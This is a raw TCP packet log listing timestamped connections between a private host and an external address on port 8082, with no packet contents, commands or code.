Jan 8, 2023 16:08:48.736057043 CET	8082	49950	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.765316963 CET	49951	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.879813910 CET	8082	49951	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.880129099 CET	49951	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.880588055 CET	49951	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.995043993 CET	8082	49951	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.998823881 CET	8082	49951	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.998888969 CET	8082	49951	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.998979092 CET	49951	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.999078989 CET	8082	49951	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.999165058 CET	49951	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.999165058 CET	49951	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.005054951 CET	49951	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.119508982 CET	8082	49951	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.135612965 CET	49952	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.250132084 CET	8082	49952	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.253077984 CET	49952	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.254757881 CET	49952	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.369496107 CET	8082	49952	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.373537064 CET	8082	49952	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.373574018 CET	8082	49952	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.373594999 CET	8082	49952	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.373666048 CET	49952	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.373720884 CET	49952	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.374420881 CET	49952	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.488712072 CET	8082	49952	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.512653112 CET	49953	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.627113104 CET	8082	49953	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.627252102 CET	49953	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.628195047 CET	49953	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.742135048 CET	8082	49953	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.988336086 CET	8082	49953	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.988400936 CET	8082	49953	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.988420963 CET	8082	49953	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:49.988527060 CET	49953	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:49.988575935 CET	49953	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.002074957 CET	49953	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.116348982 CET	8082	49953	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.138581991 CET	49954	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.253808975 CET	8082	49954	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.253968954 CET	49954	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.254827976 CET	49954	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.369548082 CET	8082	49954	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.375010014 CET	8082	49954	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.375041962 CET	8082	49954	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.375159025 CET	8082	49954	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.375190973 CET	49954	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.375312090 CET	49954	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.376108885 CET	49954	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.490927935 CET	8082	49954	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.512945890 CET	49955	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.627341986 CET	8082	49955	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.627552986 CET	49955	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.628592014 CET	49955	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.742593050 CET	8082	49955	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.746601105 CET	8082	49955	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.746646881 CET	8082	49955	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.746711016 CET	49955	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.746743917 CET	49955	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.746762037 CET	8082	49955	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.746817112 CET	49955	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.747374058 CET	49955	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:50.861156940 CET	8082	49955	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:50.887468100 CET	49956	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.002017021 CET	8082	49956	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.002319098 CET	49956	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.002887011 CET	49956	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.116805077 CET	8082	49956	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.120203018 CET	8082	49956	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.120240927 CET	8082	49956	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.120501995 CET	49956	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.120646954 CET	8082	49956	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.120758057 CET	49956	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.134655952 CET	49956	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.249068022 CET	8082	49956	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.261253119 CET	49957	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.375920057 CET	8082	49957	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.376064062 CET	49957	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.376553059 CET	49957	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.490922928 CET	8082	49957	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.495826006 CET	8082	49957	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.495861053 CET	8082	49957	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.495876074 CET	8082	49957	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.496031046 CET	49957	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.496031046 CET	49957	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.496997118 CET	49957	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.611099958 CET	8082	49957	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.635164022 CET	49958	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.749399900 CET	8082	49958	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.749528885 CET	49958	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.752011061 CET	49958	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.865930080 CET	8082	49958	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.871115923 CET	8082	49958	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.871155977 CET	8082	49958	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.871172905 CET	8082	49958	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:51.871262074 CET	49958	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.871300936 CET	49958	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.871756077 CET	49958	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:51.986021042 CET	8082	49958	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.005110979 CET	49959	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.119493961 CET	8082	49959	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.119615078 CET	49959	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.120403051 CET	49959	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.234515905 CET	8082	49959	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.238601923 CET	8082	49959	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.238640070 CET	8082	49959	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.238703966 CET	49959	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.238704920 CET	49959	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.238805056 CET	8082	49959	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.238936901 CET	49959	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.247818947 CET	49959	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.362096071 CET	8082	49959	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.396404028 CET	49960	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.510909081 CET	8082	49960	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.511039019 CET	49960	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.511668921 CET	49960	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.625474930 CET	8082	49960	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.632849932 CET	8082	49960	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.632889986 CET	8082	49960	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.632937908 CET	49960	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.632946014 CET	8082	49960	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.632992029 CET	49960	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.632992029 CET	49960	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.633632898 CET	49960	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.747708082 CET	8082	49960	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.764214993 CET	49961	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.879134893 CET	8082	49961	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.879389048 CET	49961	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.879956007 CET	49961	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.994187117 CET	8082	49961	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.997873068 CET	8082	49961	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.997911930 CET	8082	49961	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.998061895 CET	49961	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.998141050 CET	8082	49961	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:52.998178959 CET	49961	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.998197079 CET	49961	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:52.998637915 CET	49961	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.112515926 CET	8082	49961	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.140171051 CET	49962	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.254642010 CET	8082	49962	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.256705999 CET	49962	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.257204056 CET	49962	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.371134043 CET	8082	49962	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.375905037 CET	8082	49962	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.375950098 CET	8082	49962	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.375972986 CET	8082	49962	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.376121998 CET	49962	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.386974096 CET	49962	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.501744032 CET	8082	49962	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.518537045 CET	49963	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.632993937 CET	8082	49963	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.636785984 CET	49963	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.637444973 CET	49963	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.751677990 CET	8082	49963	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.756309032 CET	8082	49963	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.756344080 CET	8082	49963	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.756361008 CET	8082	49963	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.756464005 CET	49963	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.756505966 CET	49963	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.757011890 CET	49963	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:53.871296883 CET	8082	49963	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:53.887145996 CET	49964	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.002334118 CET	8082	49964	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.004885912 CET	49964	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.009592056 CET	49964	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.123862982 CET	8082	49964	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.127259016 CET	8082	49964	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.127296925 CET	8082	49964	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.127315998 CET	8082	49964	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.127363920 CET	49964	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.127363920 CET	49964	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.129168987 CET	49964	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.243294954 CET	8082	49964	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.280818939 CET	49965	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.395324945 CET	8082	49965	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.395488024 CET	49965	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.396008968 CET	49965	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.509938955 CET	8082	49965	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.514753103 CET	8082	49965	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.514785051 CET	8082	49965	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.514801025 CET	8082	49965	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.514925003 CET	49965	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.514975071 CET	49965	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.533051014 CET	49965	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.647370100 CET	8082	49965	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.667551041 CET	49966	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.781753063 CET	8082	49966	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.781900883 CET	49966	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.782779932 CET	49966	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.897047997 CET	8082	49966	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.901844025 CET	8082	49966	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.901889086 CET	8082	49966	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.901926994 CET	8082	49966	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:54.902031898 CET	49966	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.904766083 CET	49966	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:54.910857916 CET	49966	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.025146008 CET	8082	49966	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.049298048 CET	49967	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.163767099 CET	8082	49967	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.164026022 CET	49967	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.165043116 CET	49967	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.278974056 CET	8082	49967	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.283224106 CET	8082	49967	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.283303976 CET	8082	49967	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.283348083 CET	8082	49967	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.283469915 CET	49967	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.283895016 CET	49967	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.397924900 CET	8082	49967	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.422086000 CET	49968	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.536663055 CET	8082	49968	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.536851883 CET	49968	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.537302017 CET	49968	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.651145935 CET	8082	49968	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.657176971 CET	8082	49968	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.657246113 CET	8082	49968	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.657264948 CET	49968	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.657285929 CET	8082	49968	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.657303095 CET	49968	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.657341003 CET	49968	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.678169966 CET	49968	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.792777061 CET	8082	49968	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.812288046 CET	49969	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.927750111 CET	8082	49969	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:55.927867889 CET	49969	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:55.931190968 CET	49969	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.049019098 CET	8082	49969	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.050261021 CET	8082	49969	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.050307035 CET	8082	49969	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.050334930 CET	8082	49969	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.050386906 CET	49969	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.050559998 CET	49969	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.053843975 CET	49969	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.168833017 CET	8082	49969	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.185708046 CET	49970	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.300152063 CET	8082	49970	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.300729990 CET	49970	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.301595926 CET	49970	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.417889118 CET	8082	49970	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.422560930 CET	8082	49970	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.422642946 CET	8082	49970	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.422671080 CET	8082	49970	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.422709942 CET	49970	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.422907114 CET	49970	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.424796104 CET	49970	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.539217949 CET	8082	49970	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.569358110 CET	49971	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.683774948 CET	8082	49971	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.683892965 CET	49971	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.684351921 CET	49971	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.798211098 CET	8082	49971	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.802598000 CET	8082	49971	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.802622080 CET	8082	49971	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.802824974 CET	8082	49971	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.802855968 CET	49971	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.802901030 CET	49971	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.818089008 CET	49971	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:56.932199001 CET	8082	49971	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:56.951893091 CET	49972	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.066617012 CET	8082	49972	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.069086075 CET	49972	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.069839954 CET	49972	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.183954000 CET	8082	49972	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.190025091 CET	8082	49972	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.190112114 CET	8082	49972	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.190169096 CET	8082	49972	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.190278053 CET	49972	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.190278053 CET	49972	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.193448067 CET	49972	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.307804108 CET	8082	49972	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.327753067 CET	49973	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.442563057 CET	8082	49973	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.442713976 CET	49973	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.443551064 CET	49973	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.557531118 CET	8082	49973	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.561995983 CET	8082	49973	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.562100887 CET	8082	49973	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.562235117 CET	8082	49973	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.562288046 CET	49973	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.562346935 CET	49973	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.562674046 CET	49973	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.563544989 CET	49973	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.677512884 CET	8082	49973	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.699665070 CET	49974	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.814112902 CET	8082	49974	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.814399958 CET	49974	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.814822912 CET	49974	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.928674936 CET	8082	49974	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.934355021 CET	8082	49974	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.934381962 CET	8082	49974	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.934484005 CET	8082	49974	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:57.934607029 CET	49974	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.934607029 CET	49974	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:57.948400974 CET	49974	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.062855005 CET	8082	49974	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.082550049 CET	49975	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.197205067 CET	8082	49975	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.197437048 CET	49975	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.202548981 CET	49975	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.317410946 CET	8082	49975	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.321518898 CET	8082	49975	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.321573973 CET	8082	49975	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.321604967 CET	49975	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.321609974 CET	8082	49975	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.321647882 CET	49975	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.321666956 CET	49975	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.322067976 CET	49975	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.437108994 CET	8082	49975	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.459064960 CET	49976	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.584492922 CET	8082	49976	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.584656000 CET	49976	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.585253954 CET	49976	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.699254036 CET	8082	49976	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.704782009 CET	8082	49976	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.704811096 CET	8082	49976	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.704910994 CET	49976	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.705023050 CET	8082	49976	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.705111027 CET	49976	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.709669113 CET	49976	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.823887110 CET	8082	49976	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.854732037 CET	49977	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.969490051 CET	8082	49977	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:58.969696045 CET	49977	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:58.971431971 CET	49977	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.085455894 CET	8082	49977	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.089721918 CET	8082	49977	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.089812994 CET	8082	49977	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.089860916 CET	8082	49977	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.089864016 CET	49977	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.089960098 CET	49977	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.089960098 CET	49977	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.105056047 CET	49977	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.219346046 CET	8082	49977	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.233443022 CET	49978	8082	192.168.2.6	20.104.209.69
